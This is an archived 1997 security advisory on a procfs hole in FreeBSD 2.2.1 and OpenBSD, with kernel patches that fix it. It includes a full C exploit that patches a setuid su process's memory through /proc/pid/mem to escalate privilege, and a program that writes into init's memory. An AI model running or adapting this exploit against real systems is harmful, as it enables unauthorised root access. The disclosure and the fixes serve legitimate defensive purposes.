home *** CD-ROM | disk | FTP | other *** search
-
- There is a major hole in procfs under FreeBSD 2.2.1 (2.1 is not affected,
- I have not tested 3.x but I believe it to be vulnerable as well) along
- with OpenBSD (not tested by me, but by someone else -- believe it was
- 2.1-RELEASE although obsd doesnt mount procfs by default like freebsd
- does).
-
- The problem is all proc/#/mem access is controlled by the permissions on
- the file. This means you can fork() open the childs mem device and then
- have the child execute a setuid executable. Once this is done, you can
- modify the setuid executables memory -- even segments that are supposed to
- be nonwritable can be modified. Enclosed is a simple exploit tested under
- FreeBSD 2.2.1 -- beware, this exploit is slow because it searches memory
- for a specific signature. Oh, you need to change your shell to a borneish
- shell too, since csh/tcsh will not work when euid != ruid (unless passed
- a -b script argument).
-
- BSDI is also believed to be vulnerable. Unfortunately, not only is procfs
- not mounted, it is not even in the GENERIC kernel.
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <fcntl.h>
- #include <string.h>
-
- u_char search_code[13] = {
- 0x8d, 0x05, 0x17, 0x00, 0x00, 0x00, /* leal 0x17, %eax */
- 0x9a, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00}; /* lcall 7,0 */
-
- /* just do a xor %eax, %eax and then a ret */
- u_char new_code[] = {
- 0x31, 0xc0, 0xc3};
-
- main(int argc, char **argv)
- {
- int pid;
- int fd;
- char buff[40];
- char *user;
-
- /* might need to tweak these */
- u_int offset=0x8003000;
- u_int offset_end = 0x8099000;
-
- if(argc < 2)
- {
- fprintf(stderr, "%s user\n", argv[0]);
- exit(1);
- }
- printf("Demonstration of 4.4BSD procfs hole\n");
- printf("Brian Mitchell <brian@firehouse.net>\n\n");
- printf("after you see \"setuid changed\", enter the pw for the user\n");
- printf("\aBe warned, searching for the setuid() function takes a long time!\n");
- user=argv[1];
- pid = fork();
- switch(pid)
- {
- case -1:
- perror("fork");
- exit(1);
- case 0:
- /* give parent time to open /proc/pid/mem */
- sleep(3);
- execl("/usr/bin/su", "su", user, NULL);
- exit(0);
- default:
- sprintf(buff, "/proc/%d/mem", pid);
- fd = open(buff, O_RDWR);
- if(fd < 0)
- {
- perror("open procmem");
- wait(NULL);
- exit(1);
- }
- /* wait for child to execute suid program */
- sleep(6);
- /* stop the child */
- kill(pid, 17);
- printf("searching - please be patient...\n");
- /* search for the setuid code */
- while(offset != offset_end)
- {
- lseek(fd, offset, SEEK_SET);
- read(fd, buff, 13);
- if(!bcmp(buff, search_code, 13))
- {
- lseek(fd, offset, SEEK_SET);
- write(fd, new_code, 3);
- printf("setuid changed (0x%x)\n", offset);
- /* sigcont child */
- kill(pid, 19);
- wait(NULL);
- exit(0);
- }
- offset++;
- }
- printf("setuid not found!!\n");
- kill(pid, 9);
- wait(NULL);
- exit(1);
- }
- }
-
-
-
-
-
-
-
- =================================================================================
-
-
-
- The following patch should fix the problem with procfs. These patches
- are to -current (well, a version I just checked out about an hour
- ago). I have 2.2-GAMMA diffs as well.
-
- Index: miscfs/procfs/procfs.h
- ===================================================================
- RCS file: /home/ncvs/src/sys/miscfs/procfs/procfs.h,v
- retrieving revision 1.15
- diff -u -r1.15 procfs.h
- --- procfs.h 1997/02/22 09:40:26 1.15
- +++ procfs.h 1997/08/11 01:42:06
- @@ -85,6 +85,18 @@
- (bcmp((s), (cnp)->cn_nameptr, (len)) == 0))
-
- #define KMEM_GROUP 2
- +
- +/*
- + * Check to see whether access to target process is allowed
- + * Evaluates to 1 if access is allowed.
- + */
- +#define CHECKIO(p1, p2) \
- + ((((p1)->p_cred->pc_ucred->cr_uid == (p2)->p_cred->p_ruid) && \
- + ((p1)->p_cred->p_ruid == (p2)->p_cred->p_ruid) && \
- + ((p1)->p_cred->p_svuid == (p2)->p_cred->p_ruid) && \
- + ((p2)->p_flag & P_SUGID) == 0) || \
- + (suser((p1)->p_cred->pc_ucred, &(p1)->p_acflag) == 0))
- +
- /*
- * Format of a directory entry in /proc, ...
- * This must map onto struct dirent (see <dirent.h>)
- Index: miscfs/procfs/procfs_mem.c
- ===================================================================
- RCS file: /home/ncvs/src/sys/miscfs/procfs/procfs_mem.c,v
- retrieving revision 1.26
- diff -u -r1.26 procfs_mem.c
- --- procfs_mem.c 1997/08/02 14:32:14 1.26
- +++ procfs_mem.c 1997/08/11 01:44:26
- @@ -277,6 +277,23 @@
- if (uio->uio_resid == 0)
- return (0);
-
- + /*
- + * XXX
- + * We need to check for KMEM_GROUP because ps is sgid kmem;
- + * not allowing it here causes ps to not work properly. Arguably,
- + * this is a bug with what ps does. We only need to do this
- + * for Pmem nodes, and only if it's reading. This is still not
- + * good, as it may still be possible to grab illicit data if
- + * a process somehow gets to be KMEM_GROUP. Note that this also
- + * means that KMEM_GROUP can't change without editing procfs.h!
- + * All in all, quite yucky.
- + */
- +
- + if (!CHECKIO(curp, p) &&
- + ((curp->p_cred->pc_ucred->cr_gid != KMEM_GROUP) &&
- + (uio->uio_rw != UIO_READ))
- + return EPERM;
- +
- return (procfs_rwmem(p, uio));
- }
-
- Index: miscfs/procfs/procfs_regs.c
- ===================================================================
- RCS file: /home/ncvs/src/sys/miscfs/procfs/procfs_regs.c,v
- retrieving revision 1.7
- diff -u -r1.7 procfs_regs.c
- --- procfs_regs.c 1997/08/02 14:32:16 1.7
- +++ procfs_regs.c 1997/08/11 01:42:06
- @@ -60,6 +60,8 @@
- char *kv;
- int kl;
-
- + if (!CHECKIO(curp, p))
- + return EPERM;
- kl = sizeof(r);
- kv = (char *) &r;
-
- Index: miscfs/procfs/procfs_vnops.c
- ===================================================================
- RCS file: /home/ncvs/src/sys/miscfs/procfs/procfs_vnops.c,v
- retrieving revision 1.30
- diff -u -r1.30 procfs_vnops.c
- --- procfs_vnops.c 1997/08/02 14:32:20 1.30
- +++ procfs_vnops.c 1997/08/11 01:43:41
- @@ -127,16 +127,21 @@
- } */ *ap;
- {
- struct pfsnode *pfs = VTOPFS(ap->a_vp);
- + struct proc *p1 = ap->a_p, *p2 = PFIND(pfs->pfs_pid);
- +
- + if (p2 == NULL)
- + return ENOENT;
-
- switch (pfs->pfs_type) {
- case Pmem:
- - if (PFIND(pfs->pfs_pid) == 0)
- - return (ENOENT); /* was ESRCH, jsp */
- -
- if ((pfs->pfs_flags & FWRITE) && (ap->a_mode & O_EXCL) ||
- (pfs->pfs_flags & O_EXCL) && (ap->a_mode & FWRITE))
- return (EBUSY);
-
- + if (!CHECKIO(p1, p2) &&
- + (p1->p_cred->pc_ucred->cr_gid != KMEM_GROUP))
- + return EPERM;
- +
- if (ap->a_mode & FWRITE)
- pfs->pfs_flags = ap->a_mode & (FWRITE|O_EXCL);
-
- @@ -194,7 +199,6 @@
- struct proc *a_p;
- } */ *ap;
- {
- -
- return (ENOTTY);
- }
-
-
-
- -------------------------------------------------------------------------------------
-
-
-
- There is a slight procfs hole that could allow a intruder to lower the
- securelevel. init's memory is not protected, so you can overwrite
- data/instructions in init and possibly lower the securelevel (although
- panicing the system is much more likely). Enclosed is a vulnerbility
- checker:
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <sys/types.h>
- #include <fcntl.h>
-
- main()
- {
- int tqbf=31337;
- int fd;
- int g0nz0;
-
- if(getuid())
- {
- fprintf(stderr, "this attack needs root\n");
- exit(1);
- }
- fd = open("/proc/1/mem", O_RDWR);
- if(fd < 0)
- {
- fprintf(stderr, "open of /proc/1/mem failed\n");
- exit(2);
- }
- lseek(fd, 0x1000, SEEK_SET);
- g0nz0=write(fd, &tqbf, sizeof(int));
- close(fd);
- if(g0nz0 >= 0)
- fprintf(stderr, "procfs is vulnerable!\n");
- else
- fprintf(stderr, "procfs is not vulnerable!\n");
- printf("returned %d\n", g0nz0);
- }
-
- Here is a simple patch, it disallows writes to pid 1's mem node if
- securelevel is > 0 (diff is based on 2.2.1 box with the securelevel fix
- applied):
-
- *** procfs_mem.c Sat Sep 6 02:36:39 1997
- --- procfs_mem.c.new Sat Sep 6 02:38:25 1997
- ***************
- *** 316,321 ****
- --- 316,325 ----
- !(curp->p_cred->pc_ucred->cr_gid == KMEM_GROUP &&
- uio->uio_rw == UIO_READ))
- return EPERM;
- +
- + /* writing to init memory while securelevel > 0 is bad */
- + if(uio->uio_rw == UIO_WRITE && p->p_pid == 1 && securelevel > 0)
- + return EPERM;
-
- error = procfs_rwmem(p, uio);
-
-